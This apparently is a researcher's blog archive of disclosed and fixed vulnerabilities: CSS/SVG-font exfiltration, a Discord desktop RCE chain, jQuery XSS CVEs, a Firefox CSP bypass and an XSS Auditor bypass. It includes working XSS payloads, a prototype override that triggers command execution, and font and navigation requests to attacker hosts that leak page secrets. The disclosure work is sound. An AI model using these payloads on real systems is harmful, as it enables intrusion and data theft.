Sunday, November 28, 2021

Data Exfiltration via CSS + SVG Font

This post will show that the SVG fonts and CSS can be used for reading the page's text contents.

There are several known ways to read the page's text contents with CSS. The known techniques are well covered in the following article by Juan Manuel Fernández:

CSS Injection Primitives :: DoomsDay Vault

These techniques can be useful to attackers in some situations, for example, when the input is sanitized and only limitted HTML tags can be used, or JavaScript cannot be used due to the Content Security Policy (CSP) restrictions.

The technique I want to introduce today is one such technique. The basic idea is the same as the following font ligature trick by Michał Bentkowski.

Stealing Data in Great style – How to Use CSS to Attack Web Application. - research.securitum.com

It is the mostly same but I've never seen any article mentioning this and I thought it is worth mentioning because the technique I'll explain here can be useful in the specific situation such as when Michał's technique cannot be used due to the CSP's restriction, so I'm writing this.

Well, in my Japanese blog post, around here, I explained Michał's trick in detail in my words but the person who is reading this can read English, so please read his article first :)

Okay, you've read it, right? As you learned from his article, he used WOFF fonts convereted from SVG fonts. In my trick, I use SVG fonts without convering it. Michał said "browsers have stopped supporting the SVG format in fonts (hence the need to use the WOFF format)" but in fact, Safari still supports it. After all, the trick I am about to introduce is just a replacement of his trick with SVG fonts. But still, the reason I want to dare to introduce this trick is that SVG fonts can be used even when loading fonts is blocked by the CSP's restriction. That is, SVG fonts allow reading text contents even on pages where the CSP prohibits loading fonts. This is because SVG fonts can not only be loaded from URLs, like WOFF fonts, but also all font's components can be defined with in-line without loading from URLs.

Let's see how Michał's trick can be replaced.

In his trick, the WOFF font is loaded via <style>'s @font-face.

<style>
@font-face {
    font-family: "hack";
    src: url(http://192.168.13.37:3001/font/%22/0)
}
[...]
</style>

This style can be replaced with the following inline SVG.

<svg>
<defs>
<font horiz-adv-x="0">
<font-face font-family="hack" units-per-em="1000"></font-face>
<glyph unicode="&quot;0" horiz-adv-x="99999" d="M1 0z"></glyph>
<glyph unicode="1" horiz-adv-x="0" d="M1 0z"></glyph>
<glyph unicode="2" horiz-adv-x="0" d="M1 0z"></glyph>
<glyph unicode="3" horiz-adv-x="0" d="M1 0z"></glyph>
<glyph unicode="4" horiz-adv-x="0" d="M1 0z"></glyph>
<glyph unicode="5" horiz-adv-x="0" d="M1 0z"></glyph>
[...]
</font>
</defs>
</svg>

Now, if the font-family property is set to "hack" via CSS, the SVG font is applied to the target's text even outside the SVG. This is not blocked by CSP even if the font-src 'none' is set. (Note that to observe the leaked data, this trick uses the background image request as well as Michał's trick, so at least, the host which can observe the request must be allowed in the img-src directive.)

I'll show you the PoC. When there is a vulnerable page like the following,

https://vulnerabledoma.in/svg_font/xss.html?xss=%3Cs%3EXSS%3Cscript%3Ealert(1)%3C/script%3E

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="Content-Security-Policy" content="default-src 'none';script-src 'nonce-random';style-src 'unsafe-inline';img-src https:">
</head>
<body>
<script id="leakme" nonce="random">
const secret = "573ba8e9bfd0abd3d69d8395db582a9e";
</script>

<script nonce="random">
const params = (new URL(document.location)).searchParams;
const xss = params.get('xss');
if(xss){
    document.write(xss);
}
</script>
</body>
</html>

I'll show you SVG fonts can leak the "secret" variable.

You can reproduce it by opening the following URL with Safari and clicking the "Go" button. 

PoC: https://l0.cm/svg_font/poc.php

The all code can be found in: https://github.com/masatokinugawa/css-exfiltration-svg-font

If the PoC works correctly, like the following video, multiple new windows will open and after waiting for a while, the secret variable's string will be displayed little by little, like "573b ..." on the page having the "Go" button.

It's almost the same as Michał's PoC, except that it uses SVG fonts, but there are a few changes. In his PoC, he loads the target page into the iframe but in my PoC, I used window.open() instead. This is because Safari blocks all third party cookies by default now and I thought the attack using the iframe is not so realistic PoC for Safari. Also, I changed the way to pass the data.  Here again, due to the third party cookie blocking, the cookie can not be set when the background image is loaded, so I used the session id with the URL parameter instead. 

By the way, if you're used to Chrome, you might wonder why multiple new windows are opened by one click. This is because Safari have the popup blocker but there is no limit to the number of windows that can be opened by one click. Thanks to this, it is possible to efficiently try to read the data using multiple windows. 

That's it. Thanks for reading! I hope this post helps you out.

Saturday, October 17, 2020

Discord Desktop app RCE

A few months ago, I discovered a remote code execution issue in the Discord desktop application and I reported it via their Bug Bounty Program.

The RCE I found was an interesting one because it is achieved by combining multiple bugs. In this article, I'd like to share the details.

Why I chose Discord for the target

I kind of felt like finding for vulnerabilities of the Electron app, so I was looking for a bug bounty program which pays the bounty for an Electron app and I found Discord. Also, I am a Discord user and simply wanted to check if the app I'm using is secure, so I decided to investigate.

Bugs I found

Basically I found the following three bugs and achieved RCE by combining them.

  1. Missing contextIsolation
  2. XSS in iframe embeds
  3. Navigation restriction bypass (CVE-2020-15174)

I'll explain these bugs one by one.

Missing contextIsolation

When I test Electron app, first I always check the options of the BrowserWindow API, which is used to create a browser window. By checking it, I think about how RCE can be achieved when arbitrary JavaScript execution on the renderer is possible.

The Discord's Electron app is not an open source project but the Electron's JavaScript code is saved locally with the asar format and I was able to read it just by extracting it.

In the main window, the following options are used: 

const mainWindowOptions = {
  title: 'Discord',
  backgroundColor: getBackgroundColor(),
  width: DEFAULT_WIDTH,
  height: DEFAULT_HEIGHT,
  minWidth: MIN_WIDTH,
  minHeight: MIN_HEIGHT,
  transparent: false,
  frame: false,
  resizable: true,
  show: isVisible,
  webPreferences: {
    blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
    nodeIntegration: false,
    preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
    nativeWindowOpen: true,
    enableRemoteModule: false,
    spellcheck: true
  }
};

The important options which we should check here are especially nodeIntegration and contextIsolation. From the above code, I found that the nodeIntegration option is set to false and the contextIsolation option is set to false (the default of the used version) in the Discord's main window.

If the nodeIntegration is set to true, a web page's JavaScript can use Node.js features easily just by calling the require(). For example, the way to execute the calc application on Windows is:

<script>
  require('child_process').exec('calc');
</script>

In this time, the nodeIntegration was set to false, so I couldn't use Node.js features by calling the require() directly.

However, there is still a possibility of access to Node.js features. The contextIsolation, another important option, was set to false. This option should not be set to false if you want to eliminate the possibility of RCE on your app.

If the contextIsolation is disabled, a web page's JavaScript can affect the execution of the Electron's internal JavaScript code on the renderer, and preload scripts (In the following, these JavaScript will be referred to as the JavaScript code outside web pages). For example, if you override  Array.prototype.join, one of the JavaScript built-in methods, with another function from a web page's JavaScript, the JavaScript code outside web pages also will use the overridden function when the join is called.

This behavior is dangerous because Electron allows the JavaScript code outside web pages to use the Node.js features regardless the nodeIntegration option and by interfering with them from the function overridden in the web page, it could be possible to achieve RCE even if the nodeIntegration is set to false.

By the way, a such trick was previously not known. It was first discovered in a pentest by Cure53, which I also joined in, in 2016. After that, we reported it to Electron team and the contextIsolation was introduced.

Recently, that pentest report was published. If you are interested, you can read it from the following link:

Pentest-Report Ethereum Mist 11.2016 - 10.2017
https://drive.google.com/file/d/1LSsD9gzOejmQ2QipReyMXwr_M0Mg1GMH/view

You can also read the slides which I used at a CureCon event:


The contextIsolation introduces the separated contexts between the web page and the JavaScript code outside web pages so that the JavaScript execution of each code does not affect each. This is a necessary faeture to eliminate the possibility of RCE, but this time it was disabled in Discord.

Now I found that the contextIsolation is disabled, so I started looking for a place where I could execute arbitrary code by interfering with the JavaScript code outside web pages.

Usually, when I create a PoC for RCE in the Electron's pentests, I first try to achieve RCE by using the Electron's internal JavaScript code on the renderer. This is because the Electron's internal JavaScript code on the renderer can be executed in any Electron app, so basically I can reuse the same code to achieve RCE and it's easy.

In my slides, I introduced that RCE can be achieved by using the code which Electron executes at the navigation timing. It's not only possible from that code but there are such code in some places. (I'd like to publish examples of the PoC in the future.)

However, depending on the version of Electron used, or the BrowserWindow option which is set, because the code has been changed or the affected code can't be reached correctly, sometimes PoC via the Electron's code does not work well. In this time, it did not work, so I decided to change the target to the preload scripts.

When checking the preload scripts, I found that Discord exposes the function, which allows some allowed modules to be called via DiscordNative.nativeModules.requireModule('MODULE-NAME'), into the web page.

Here, I couldn't use modules that can be used for RCE directly, such as child_process module, but I found a code where RCE can be achieved by overriding the JavaScript built-in methods and interfering with the execution of the exposed module.

The following is the PoC. I was able to confirm that the calc application is popped up when I call the getGPUDriverVersions function which is defined in the module called "discord_utils" from devTools, while overriding the RegExp.prototype.test and Array.prototype.join.

RegExp.prototype.test=function(){
    return false;
}
Array.prototype.join=function(){
    return "calc";
}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();

The getGPUDriverVersions function tries to execute the program by using the "execa" library, like the following:

module.exports.getGPUDriverVersions = async () => {
  if (process.platform !== 'win32') {
    return {};
  }

  const result = {};
  const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;

  try {
    result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
  } catch (e) {
    result.nvidia = {error: e.toString()};
  }

  return result;
};

Usually the execa tries to execute "nvidia-smi.exe", which is specified in the nvidiaSmiPath variable, however, due to the overridden RegExp.prototype.test and Array.prototype.join, the argument is replaced to "calc" in the execa's internal processing.

Specifically, the argument is replaced by changing the following two parts.

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55

The remaining work is to find a way to execute JavaScript on the application. If I can find it, it leads to actual RCE.

XSS in iframe embeds

As explained above, I found that RCE could happen from arbitrary JavaScript execution, so I was trying to find an XSS vulnerability. The app supports the autolink or Markdown feature, but looked like it is good. So I turned my attention to the iframe embeds feature. The iframe embeds is the feature which automatically displays the video player on the chat when the YouTube URL is posted, for example.

When the URL is posted, Discord tries to get the OGP information of that URL and if there is the OGP information, it displays the page's title, description, thumbnail image, associated video and so on in the chat.

The Discord extracts the video URL from the OGP and only if the video URL is allowed domain and the URL has actually the URL format of the embeds page, the URL is embedded in the iframe.

I couldn't find the documentation about which services can be embedded in the iframe, so I tried to get a hint by checking the CSP's frame-src directive. At that time, the following CSP was used:

Content-Security-Policy: [...] ; frame-src https://*.youtube.com https://*.twitch.tv https://open.spotify.com https://w.soundcloud.com https://sketchfab.com https://player.vimeo.com https://www.funimation.com https://twitter.com https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/ https://js.stripe.com https://assets.braintreegateway.com https://checkout.paypal.com https://*.watchanimeattheoffice.com

Obviously, some of them are listed to allow iframe embeds (e.g. YouTube, Twitch, Spotify). I tried to check if the URL can be embeded in the iframe by specifying the domain into the OGP information one by one and tried to find XSS on the embedded domains. After some attempts, I found that the sketchfab.com, which is one of the domains listed in the CSP, can be embedded in the iframe and found XSS on the embeds page. I didn't know about Sketchfab at that time, but it seems that it is a platform in which users can publish, buy and sell 3D models. There was a simple DOM-based XSS in the footnote of the 3D model.

The following is the PoC, which has the crafted OGP. When I posted this URL to the chat, the Sketchfab was embedded into the iframe on the chat, and after a few clicks on the iframe, arbitrary JavaScript was executed.

https://l0.cm/discord_rce_og.html

<head>
    <meta charset="utf-8">
    <meta property="og:title" content="RCE DEMO">
    [...]
    <meta property="og:video:url" content="https://sketchfab.com/models/2b198209466d43328169d2d14a4392bb/embed">
    <meta property="og:video:type" content="text/html">
    <meta property="og:video:width" content="1280">
    <meta property="og:video:height" content="720">
</head>

Okay, finally I found an XSS, but the JavaScript is still executed on the iframe. Since Electron doesn't load the "JavaScript code outside web pages" into the iframe, so even if I override the JavaScript built-in methods on the iframe, I can't interfere with the Node.js' critical parts. To achieve RCE, we need to get out of the iframe and execute JavaScript in a top-level browsing context. This requires opening a new window from the iframe or navigating the top window to another URL from the iframe.

I checked the related code and I found the code to restrict navigations by using "new-window" and "will-navigate" event in the code of the main process:

mainWindow.webContents.on('new-window', (e, windowURL, frameName, disposition, options) => {
  e.preventDefault();
  if (frameName.startsWith(DISCORD_NAMESPACE) && windowURL.startsWith(WEBAPP_ENDPOINT)) {
    popoutWindows.openOrFocusWindow(e, windowURL, frameName, options);
  } else {
    _electron.shell.openExternal(windowURL);
  }
});
[...]
mainWindow.webContents.on('will-navigate', (evt, url) => {
  if (!insideAuthFlow && !url.startsWith(WEBAPP_ENDPOINT)) {
    evt.preventDefault();
  }
});

I thought this code can correctly prevent users from opening the new window or navigating the top window. However, I noticed the unexpected behavior.

Navigation restriction bypass (CVE-2020-15174)

I thought the code is okay but I tried to check that the top navigation from the iframe is blocked anyway. Then, surprisingly, the navigation was not blocked for some reason. I expected that the attempt is catched by the "will-navigate" event before the navigation happens and refused by the preventDefault(), but is not.

To test this behavior, I created a small Electron app. And I found that the "will-navigate" event is not emitted from the top navigation started from an iframe for some reason. To be exact, if the top's origin and iframe's origin is in the same-origin, the event is emitted but if it is in the different origin, the event is not emitted. I didn't think that there is a a legitimate reason for this behavior, so I thought this is an Electron's bug and decided to report to Electron team later.

With the help of this bug, I was able to bypass the navigation restriction. The last thing I should do is just a navigation to the page which contains the RCE code by using the iframe's XSS, like top.location="//l0.cm/discord_calc.html".

In this way, by combining with three bugs, I was able to achieve RCE as shown in the video below.


In the end

These issues were reported through Discord's Bug Bounty Program. First, Discord team disabled the Sketchfab embeds, and a workaround was taken to prevent navigation from the iframe by adding the sandbox attribute to the iframe. After a while, the contextIsolation was enabled. Now even if I could execute arbitrary JavaScript on the app, RCE does not occur via the overridden JavaScript built-in methods. I received $5,000 as a reward for this discovery.

The XSS on Sketchfab was reported through Sketchfab's Bug Bounty Program and fixed by Sketchfab developers quickly. I received $300 as a reward for this discovery.

The bug in the "will-navigate" event was reported as a bug of Electron to Electron's security team, and it was fixed as the following vulnerability (CVE-2020-15174).

Unpreventable top-level navigation · Advisory · electron/electron
https://github.com/electron/electron/security/advisories/GHSA-2q4g-w47c-4674

That's it. Personally, I like that the external page's bug or Electron's bug, which is unrelated to the app itself's implementation, led to RCE :)

I hope this article helps you keep your Electron apps secure.

Thanks for reading!

Sunday, May 17, 2020

CVE-2020-11022/CVE-2020-11023: jQuery 3.5.0 Security Fix details

jQuery 3.5.0 was released last month. In this version, two bugs which I reported are included as "Security Fix".

jQuery 3.5.0 Released! | Official jQuery Blog
https://blog.jquery.com/2020/04/10/jquery-3-5-0-released/

The bugs are regsited as CVE-2020-11022 and CVE-2020-11023:

https://github.com/advisories/GHSA-gxr4-xjj5-5px2
https://github.com/advisories/GHSA-jpcq-cgw6-v4j6

 In this article, I'd like to explain the bugs' details.

Overview of Problems


The application which has the following features is affected:

  • The application allows users to write any HTML (but it is sanitized)
  • The application dynamically appends the sanitized HTML with jQuery

The following code is an example of a such application:
<div id="div"></div>
<script>
//Sanitized safe HTML
sanitizedHTML = '<p title="foo">bar</p>';
//Just append the sanitized HTML to <div>
$('#div').html(sanitizedHTML);
</script>
In this situation, if the sanitization is performed properly, it looks like that usually XSS does not occur since it just appends the sanitized safe HTML. However, actually, .html() does the special string processing internally and it caused XSS. This is the issue which I'll explain in this article.

PoCs


There are many variations but I'll show basic three PoCs. Usually, JavaScript is not executed from the following HTMLs:

PoC 1.
<style><style /><img src=x onerror=alert(1)> 
PoC 2. (Only jQuery 3.x affected)
<img alt="<x" title="/><img src=x onerror=alert(1)>">
PoC 3.
<option><style></option></select><img src=x onerror=alert(1)></style>
You might think there is an img tag which has an onerror attribute, but if you check carefully, actually, it is placed in the attribute or inside of the style element, you will notice that it is not executed. So, even if those HTMLs are generated by an HTML sanitizer as the sanitized HTML, it is not unnatural at all.

However, in all cases, if the HTML is appended via jQuery .html(), JavaScript is executed unexpectedlly.

You can test each PoC in:
https://vulnerabledoma.in/jquery_htmlPrefilter_xss.html

Next, I'll explain why it happens.

CVE-2020-11023: Root cause (PoC 1,2)


The PoC 1 and 2 have the same root cause. Within the .html(), the HTML string passed as the argument is passed to the $.htmlPrefilter() method. The htmlPrefilter performs the processing for replacing the self-closing tags like <tagname /> to <tagname ></tagname>, by using the following regex:

rxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:-]+)[^>]*)\/>/gi
[...]
htmlPrefilter: function( html ) {
  return html.replace( rxhtmlTag, "<$1></$2>" );
If the PoC 1's HTML passes through this replacement, the output will be:
> $.htmlPrefilter('<style><style /><img src=x onerror=alert(1)>')
< "<style><style ></style><img src=x onerror=alert(1)>"
The yellow part is the replaced string. Due to this replacement, the <style /> inside the style element is replaced to <style ></style> and as the result, the string after that is kicked out from the style element. After that, the .html() assigns the replaced HTML to innerHTML. Here, the <img ...> string becomes an actual img tag and it fires the onerror event.

By the way, the above regex is used in jQuery before 3.x. Since 3.x, another regex which is a bit modified is used:

https://github.com/jquery/jquery/commit/fb9472c7fbf9979f48ef49aff76903ac130d0959#diff-169760a97de5c86a886842060321d2c8L30-R30
rxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\/\0>\x20\t\r\n\f]*)[^>]*)\/>/gi

This change introduced another XSS vector which can cause XSS by more basic elements and attributes only. The PoC 2's vector is introduced by this change. It works on jQuery 3.x only.
> $.htmlPrefilter('<img alt="<x" title="/><img src=x onerror=alert(1)>">')
< "<img alt="<x" title="></x"><img src=x onerror=alert(1)>">"
In this case, the <img ...> string on the attribute's value is kicked out and XSS happens.

I explained the root cause of PoC 1 and 2. How did the jQuery team fix this?

The Fix (PoC 1,2)


jQuery Team fixed this issue by replacing the $.htmlPrefilter() method to an identity function. Therefore, the passed HTML string is no longer modified by the htmlPrefilter function now.

https://github.com/jquery/jquery/commit/90fed4b453a5becdb7f173d9e3c1492390a1441f#diff-169760a97de5c86a886842060321d2c8L201-R198

However, this did not solve all XSS issues. Inside the .html(), another string processing is performed and introduces another problem (PoC 3).

CVE-2020-11022: Root cause (PoC 3)


Inside the .html(), if the tag that appears at the beginning of the HTML which is passed as an argument is one of specific tags, jQuery tries to wrap it with another tag once and do the next processing. This is because some tags are automatically removed due to the HTML's specification or browser's bug if there is no wrapping processing.

The opiton element is one of such elements - in MSIE9, due to its bug, the option element is automatically removed when it is assigned to innerHTML, if it is not wrapped with the select element.

To deal with this, jQuery tries to wrap the entire passed HTML string including that element with the <select multiple='multiple'> and </select> if the passed HTML string's first element is the option element.

The wrapped tags are defined in:
https://github.com/jquery/jquery/blob/3.4.1/src/manipulation/wrapMap.js#L9

The actual wrapping processing is done in:
https://github.com/jquery/jquery/blob/d0ce00cdfa680f1f0c38460bc51ea14079ae8b07/src/manipulation/buildFragment.js#L39

The issue of PoC 3 happens via this wrapping processing. If the PoC 3's HTML passes through this wrapping processing, the HTML will be:
<select multiple='multiple'><option><style></option></select><img src=x onerror=alert(1)></style></select>
When this HTML is assigned to innerHTML in the jQuery's internal code, JavaScript is executed.

The reason why the script is executed is in the <select> tag's parsing.The <select> does not allow putting HTML tags except the option, optgroup, script and template element inside that element. Due to this specification, the inserted <style> is just ignored, the </select> inside the <style> becomes an actual select element's closing-tag, and then <select> block is closed there. Eventually, the next <img ...> is kicked out from the <style> and the onerror event fires -> XSS. This was the root cause.

The Fix (PoC 3)


jQuery Team fixed this issue by applying the wrapping procesing to MSIE9 only.

https://github.com/jquery/jquery/commit/966a70909019aa09632c87c0002c522fa4a1e30e#diff-51ec14165275b403bb33f28ce761cdedR25

MSIE9 is not vulnerable to this issue because MSIE9's <select> parsing is a bit special (yes, it's wrong). Therefore, applying the wrapping processing to MSIE9 only can solve this problem.

For your information, these issues exist not only in .html(), but also in .append(), $('<tag>') etc. Basically, the issue happens via the APIs in which the $.htmlPrefilter() method or wrapping processing is used internally.

Update it


If your application is appending the sanitized HTML via the jQuery functions, you should update to 3.5.0 or higher. If an updating is hard in some reason, I recommend sanitizing the HTML by using DOMPurify, which is XSS sanitizer. DOMPurify has a SAFE_FOR_JQUERY option and it can sanitize with considering the jQuery's behavior. You can use that, like this:

<div id="div"></div>
<script>
unsafeHtml = '<img alt="<x" title="/><img src=x onerror=alert(1)>">';
var sanitizedHtml = DOMPurify.sanitize( unsafeHtml, { SAFE_FOR_JQUERY: true } );
$('#div').html( sanitizedHtml );
</script>
Note that DOMPurify had the bypass in SAFE_FOR_JQUERY recently. Please make sure that you use 2.0.8 or higher.

In the end


I started to investigate this issue from XSS challenge by @PwnFunction:
https://xss.pwnfunction.com/challenges/ww3/

Actually, the some of these bugs were known and it was the expected solution of this challenge. (You can find that fact in the DOMPurify's change log. It was already known in 2014 at least and DOMPurify has the SAFE_FOR_JQUERY option since 2014. )

With the challenge as a trigger, I started to read jQuery's source code again and I noticed another vector (PoC 2), which is not mentioned publicly. Since this vector can allow XSS with the easy elements and attributes only, I thought many applications are vulnerable. When I actually investigated it, I found some vulnerable apps immediately. I reported it to the developer of the affected applications, at the same time I thought that this issue should be fixed by jQuery side, so I decided to report this to jQuery team. The jQuery team were quick to address the issues, even though they had to make breaking changes. Thank you jQuery team. Also, thanks to @PwnFunction, the creator of the XSS challenge, who gave me an opportunity to investigate this issue.

That's it. I hope this article helps for securing your web application or finding bugs.

Thursday, May 24, 2018

CVE-2018-5175: Universal CSP strict-dynamic bypass in Firefox

In this blogpost, I'd like to write about a CSP strict-dynamic bypass vulnerability which is fixed in Firefox 60.

https://www.mozilla.org/en-US/security/advisories/mfsa2018-11/#CVE-2018-5175
A mechanism to bypass Content Security Policy (CSP) protections on sites that have a script-src policy of 'strict-dynamic'. If a target website contains an HTML injection flaw an attacker could inject a reference to a copy of the require.js library that is part of Firefox’s Developer Tools, and then use a known technique using that library to bypass the CSP restrictions on executing injected scripts.

What is the "strict-dynamic"?


maybe you should read CSP spec :) https://www.w3.org/TR/CSP3/#strict-dynamic-usage
But for practicing writing in English, I'll explain about strict-dynamic. If you know about strict-dynamic, you don't have to read this section.

The well-known CSP restricts the loading of resources by whitelisting domains.
For example, the following CSP setting allows to load JavaScript only from its own origin and trusted.example.com:
Content-Security-Policy: script-src 'self' trusted.example.com
Thanks to this CSP, even if the page has an XSS vulnerability, the page is prevented to execute JavaScript from the inline scripts or JavaScript file of evil.example.org. It looks safe enough, however, if trusted.example.com has any scripts for bypassing CSP, it is still possible to execute JavaScript. More specifically, if trusted.example.com has a JSONP endpoint, it might be bypassed, like this:
<script src="//trusted.example.com/jsonp?callback=alert(1)//"></script>
If this endpoint reflects the user input passed to the callback parameter to the callback function name directly, it can be used as an arbitrary script as follows:
alert(1)//({});
In additon, it is known that AngularJS also can be used for bypassing CSP. This bypass possibility becomes more realistic, especially if domains hosting many JavaScript files, such as CDN, are allowed.

That way, in the whitelist, it is sometimes difficult to operate the CSP safely. To resolve this problem, strict-dynamic was designed. This is the example of usage:
Content-Security-Policy: script-src 'nonce-secret' 'strict-dynamic'
This CSP means that the whitelist will be disabled and only scripts having the "secret" string in the nonce attribute will load.
<!-- This will load -->
<script src="//example.com/assets/A.js" nonce="secret"></script>

<!-- This will not load -->
<script src="//example.com/assets/B.js"></script>
The A.js might want to load and use another JavaScript. To allow this, the CSP spec permits to load without the proper nonce attribute if the js having the proper nonce loads an another js in specific conditions.  With the word written in the spec, the non-"parser-inserted" script element can be allowed to execute JavaScript.

Below are concrete examples of what type of JavaScript are permitted:
/* A.js */

//This will load
var script=document.createElement('script');
script.src='//example.org/dependency.js';
document.body.appendChild(script);

//This will not load
document.write("<scr"+"ipt src='//example.org/dependency.js'></scr"+"ipt>");
When loading using createElement(), it's a non-"parser-inserted" script element and the loading is allowed. On the other hand, when loading using document.write(), it is a "parser-inserted" script element and it is not loaded.

Up to this point, I explained about strict-dynamic roughly.

By the way, the strcit-dynamic is bypassable in some cases. In the next, I'll introduce about a known strict-dynamic bypass.

Known strict-dynamic bypass


It is known that strict-dynamic also can be bypassed if a specific library is used in the target page.

By Google's Sebastian Lekies, Eduardo Vela Nava, and Krzysztof Kotowicz, affected libraries are listed here:

Let's look into the strict-dynamic bypass of require.js on this list.
Let's say the target page uses CSP with strict-dynamic, loads require.js and has a simple XSS. In this situation, if the following script element is inserted, an attacker can execute arbitrary JavaScript without the proper nonce.
<meta http-equiv="Content-Security-Policy" content="default-src 'none';script-src 'nonce-secret' 'strict-dynamic'">
<!-- XSS START -->
<script data-main="data:,alert(1)"></script>
<!-- XSS END -->
<script nonce="secret" src="require.js"></script>
When the require.js finds a script element with a data-main attribute, it loads a script specified in the data-main attribute from the equivalent code as below:
var node = document.createElement('script');
node.src = 'data:,alert(1)';
document.head.appendChild(node);
As described before, the strict-dynamic is allowed to load JavaScript from createElement() without the proper nonce.

That way, you can bypass the CSP strict-dynamic in some cases using the behavior of already loaded JavaScript code.

Firefox's vulnerability was caused by this behavior of require.js.
In the next section, I'll explain the vulnerability.

Universal strict-dynamic bypass(CVE-2018-5175)


Firefox implements some browser features using legacy extensions. The legacy extensions means XUL/XPCOM-based extensions that was removed in Firefox 57, not WebExtensions. Even on the latest Firefox 60, the browser internals still uses this mechanism.

In this bypass, we use a resource of the legacy extension which is used in browser internals. In WebExtensions, by setting a web_accessible_resources key in the manifest, the listed resources become accessible from any web pages. The legacy extension has a similar option named contentaccessible flag. In this bypass, it could be used for bypassing CSP because a require.js of browser's internal resource was accessible from any web pages due to the contentaccessible=yes flag.

Let's look into the manifest. If you are using 64bit Firefox on Windows, you can see the manifest from the following URL:

jar:file:///C:/Program%20Files%20(x86)/Mozilla%20Firefox/browser/omni.ja!/chrome/chrome.manifest
content branding browser/content/branding/ contentaccessible=yes
content browser browser/content/browser/ contentaccessible=yes
skin browser classic/1.0 browser/skin/classic/browser/
skin communicator classic/1.0 browser/skin/classic/communicator/
content webide webide/content/
skin webide classic/1.0 webide/skin/
content devtools-shim devtools-shim/content/
content devtools devtools/content/
skin devtools classic/1.0 devtools/skin/
locale branding ja ja/locale/branding/
locale browser ja ja/locale/browser/
locale browser-region ja ja/locale/browser-region/
locale devtools ja ja/locale/ja/devtools/client/
locale devtools-shared ja ja/locale/ja/devtools/shared/
locale devtools-shim ja ja/locale/ja/devtools/shim/
locale pdf.js ja ja/locale/pdfviewer/
overlay chrome://browser/content/browser.xul chrome://browser/content/report-phishing-overlay.xul
overlay chrome://browser/content/places/places.xul chrome://browser/content/places/downloadsViewOverlay.xul
overlay chrome://global/content/viewPartialSource.xul chrome://browser/content/viewSourceOverlay.xul
overlay chrome://global/content/viewSource.xul chrome://browser/content/viewSourceOverlay.xul
override chrome://global/content/license.html chrome://browser/content/license.html
override chrome://global/content/netError.xhtml chrome://browser/content/aboutNetError.xhtml
override chrome://global/locale/appstrings.properties chrome://browser/locale/appstrings.properties
override chrome://global/locale/netError.dtd chrome://browser/locale/netError.dtd
override chrome://mozapps/locale/downloads/settingsChange.dtd chrome://browser/locale/downloads/settingsChange.dtd
resource search-plugins chrome://browser/locale/searchplugins/
resource usercontext-content browser/content/ contentaccessible=yes
resource pdf.js pdfjs/content/
resource devtools devtools/modules/devtools/
resource devtools-client-jsonview resource://devtools/client/jsonview/ contentaccessible=yes

resource devtools-client-shared resource://devtools/client/shared/ contentaccessible=yes
The yellow part is the part that makes the file accessible from any web sites. These two lines are for creating a resource: URI. The resource devtools devtools/modules/devtools/ of first line is mapping devtools/modules/devtools/ directory ( It exists on jar:file:///C:/Program%20Files%20(x86)/Mozilla%20Firefox/browser/omni.ja!/chrome/devtools/modules/devtools/ )  to resource://devtools/ .
We can now access files under the directory by opening resource://devtools/ using Firefox. Likewise, the next line is mapping to resource://devtools-client-jsonview/. This URL becomes web-accessible by the contentaccessible=yes flag and we can now load the files placed under this directory from any web pages.
This directory has a require.js which is used for bypassing CSP. Just loading this require.js to the page where the CSP strict-dynamic is used, you can bypass strict-dynamic.
<meta http-equiv="Content-Security-Policy" content="default-src 'none';script-src 'nonce-secret' 'strict-dynamic'">
<!-- XSS START -->
<script data-main="data:,alert(1)"></script>
<script  src="resource://devtools-client-jsonview/lib/require.js"></script>
<!-- XSS END -->
From this code, data: URL will be loaded as a JavaScript resource and it will pop up an alert dialog. 

You might think, "Hmm, why is the require.js loaded? It should be blocked by CSP because the script element does not have the proper nonce."

Actually, no matter how strictly you set CSP rules, the web-accessible resources of the extension is loaded ignoring the CSP. This behavior is mentioned in the CSP spec:

Policy enforced on a resource SHOULD NOT interfere with the operation of user-agent features like addons, extensions, or bookmarklets. These kinds of features generally advance the user’s priority over page authors, as espoused in [HTML-DESIGN].
Firefox's resource: URI also had this rule. Thanks to this, users can use the extension's features as expected even on the page where the CSP is set, but on the other hand, this privilege sometimes can be used for bypassing the CSP, like this bug's case.
Of course, this issue is not limited to browser internal resources. Even on general browser extensions, the same thing happens if there are web-accessible resources that can be used for bypassing CSP.

It seems that Firefox folks fixed this bug by applying page's CSP to the resource: URI.

In the end of article


I wrote about a CSP strict-dynamic bypass vulnerability of Firefox.

FYI, I found this issue when I was looking for another solution of Cure53 CNY XSS Challenge 2018's third level which I made. In this challenge, I used another trick to bypass strict-dynamic. Please check it if you are interested.

Also, I created a different version of this XSS Challenge and I'm still waiting your answer :)

Lastly, I'd like to thank Google's research which made me notice this bug. Thank you!

Tuesday, December 27, 2016

XSS Auditor bypass using obscure <param> tag

Hi there!
I just found an XSS Auditor bypass by accident when I read Chromium's code for the another reason.
In this short post, I'd like to share this bypass. I confirmed that it works on Chrome Canary 57.
I have already reported here: https://bugs.chromium.org/p/chromium/issues/detail?id=676992

The bypass is:

https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%20%3Cparam%20name=url%20value=https://l0.cm/xss.swf%3E
<object allowscriptaccess=always>
<param name=url value=https://l0.cm/xss.swf>
Also it works:

https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%20%3Cparam%20name=code%20value=https://l0.cm/xss.swf%3E
<object allowscriptaccess=always>
<param name=code value=https://l0.cm/xss.swf>
I didn't know that Chrome supports such params until I found it in the HTMLObjectElement.cpp:
if (url.isEmpty() && urlParameter.isEmpty() &&
    (equalIgnoringCase(name, "src") || equalIgnoringCase(name, "movie") ||
     equalIgnoringCase(name, "code") || equalIgnoringCase(name, "url")))
